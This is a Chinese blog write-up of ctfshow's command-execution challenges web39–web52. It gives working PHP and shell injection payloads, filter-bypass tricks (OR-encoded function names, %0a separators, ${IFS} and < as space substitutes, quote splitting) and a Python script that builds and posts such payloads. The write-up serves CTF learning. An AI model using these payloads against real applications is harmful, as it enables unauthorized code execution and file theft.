ctfshow web入门 命令运行 web39---web52

ctfshow web入门 命令执行

昨天看了一下我的博客真的很恼火,不好看,还是用md来写吧

web39

在这里插入图片描述查看源代码
看到include了,还是包含(其实不是)

源代码意思是当c不含flag的时候把c当php文件运行

php伪协议绕过php文件执行
data://text/plain 绕过执行php,然后构造一个我们真正想要执行的php

构造payload:

?c=data://text/plain,<?= system("cat fl*");?>

在这里插别忘记加php入图片描述别忘记加http://

web40

第一种方法

查的可能使用的函数

localeconv():返回包含本地数字及货币格式信息的数组。其中数组中的第一个为点好“.pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排序
next():函数将内部指针指向下一元素,并输出
highlight_file():输出(#对文件进行语法高亮显示。)
show_source():输出(#对文件进行语法高亮显示。)
print_r():“print_r可以输出stirng、intfloatarrayobject,

在这里插入图片描述过滤了很多符号,但是括号好像是中文的
在这里插入图片描述日常查看文件
在这里插入图片描述查看不了那就用我们上面查到的资料
在这里插入图片描述查看文件,到手

**?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));**
第二种方法
**?c=eval(array_pop(next(get_defined_vars())));**
get_defined_vars():该函数返回一个包含当前上下文中所有已定义变量的数组。

next(get_defined_vars()):next()函数会将内部指针向前移动到数组中的下一个元素,并返回这个新指针指向的值。在这里,它获取并返回get_defined_vars()数组中的下一个元素,也就是下一个已定义变量。

array_pop(...):array_pop()函数用于弹出数组的最后一个单元,并返回这个单元的值。在此处,它会从上一步获取的变量中移除并返回最后一个元素(值)。

eval(...):这是一个危险的函数,它可以将字符串作为PHP代码执行

说白话就是读文件的,读出来之后传命令

然后传POST (c=passthru(“tac flag.php”)😉

web41

法一

在这里插入图片描述
过滤了很多符号,但是仔细观察会发现 | 灭有被过滤
但是这种构造方法我也不会哇,查一下吧
在url中**%数字**可以被当成是数字为十六进制所对应的ASCII表中的字符 例如:%73==s

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
构造的时候只需要进行构造字母和空格就行
system("ls");
为什么不写成:("%13|%60")("%19|%60")("%13|%60")("%14|%60")...,因为这样在php语言中是不合法的

所以查看文件
不知道为什么system被禁了,根本查看不了,后面可以补法一如果我做出来之后
做出来了
在这里插入图片描述

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
相当于
system("cat fla*");

在这里插入图片描述

法二
import re
import requests
if __name__ == '__main__':
    url = "http://371ec084-e7b9-4456-88c8-f8cc9bab4530.challenge.ctf.show/"		#题目地址

    a = []
    ans1 = ""
    ans2 = ""
    for i in range(0, 256):
        c = chr(i)
        tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-', c, re.I)
        if tmp:
            continue
            # print(tmp.group(0))
        else:
            # 将不被过滤的字符加入a数组
            a.append(i)


    # eval("echo($c);");
    mya = "system"  # 函数名 这里修改!
    myb = "cat flag.php"  # 参数


    def myfun(k, my):
        global ans1
        global ans2
        for i in range(0, len(a)):
            for j in range(i, len(a)):
                if a[i] | a[j] == ord(my[k]):
                    ans1 += chr(a[i])
                    ans2 += chr(a[j])
                    return;

    for k in range(0, len(mya)):
        myfun(k, mya)
    data1 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"
    ans1 = ""
    ans2 = ""
    for k in range(0, len(myb)):
        myfun(k, myb)
    data2 = "(\"" + ans1 + "\"|\"" + ans2 + "\")"

    # [0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-
    data = {"c": data1 + data2}
    print(data)
    r = requests.post(url=url, data=data)
    print(r.text)

web42

在这里插入图片描述由于 >/dev/null 2>&1
命令执行的结果不论正确与否都不会显示在页面上,而是被丢弃。
想让命令回显要进行分割

;     分号
|     只执行后面那条命令
||    只执行前面那条命令
&     两条命令都会执行
&&    两条命令都会执行
%0a	  换行符

构造最简单的?c=cat flag.php;

web43

在这里插入图片描述
cat和;都被 过滤
?c=ls%0a(查看)
在这里插入图片描述?c=tac flag.php%0a
在这里插入图片描述

web44

在这里插入图片描述flag过滤

?c=tac fl*%0a

在这里插入图片描述

web45

在这里插入图片描述貌似是还有空格也别绕过了,但是我会%09啊
而且Tab也可以用

?c=tac%09fl*%0a

在这里插入图片描述

web46

在这里插入图片描述数字也没了(最重要的通配符*也没了)
在这里插入图片描述

?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a

web47

在这里插入图片描述过滤了很多看文件的命令但是无所谓我的payload没有哈哈哈

?c=tac%09fla\g.php%0a

在这里插入图片描述

web48

在这里插入图片描述还是可以用上道题做的那个
在这里插入图片描述

web49

在这里插入图片描述还是没影响
在这里插入图片描述

web50

在这里插入图片描述还是没影响
试了一下不对,有影响因为我flag那里用来绕过的东西没了
过滤了%,所以我去查了一下怎么重新绕过空格
< 这个符号可以

?c=tac<fla''g.php||

在这里插入图片描述

web51

在这里插入图片描述tac绕过了用nl

?c=nl<fla''g.php||

在这里插入图片描述在这里插入图片描述

web52

在这里插入图片描述又想了新的一种空格替换${IFS}

?c=nl${IFS}fla''g.php||

构造ctfshow{flag_here},结果不对
那我们看一下目录
?c=ls${IFS}/|| (看根目录下面的文件)

在这里插入图片描述然后我们就直接看flag就行了
在这里插入图片描述看了个寂寞,但是回头一想我们刚才看的文件是在根目录下面所以我们应该改为
在这里插入图片描述?c=nl${IFS}/fla''g||

​ ​

  • 17
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值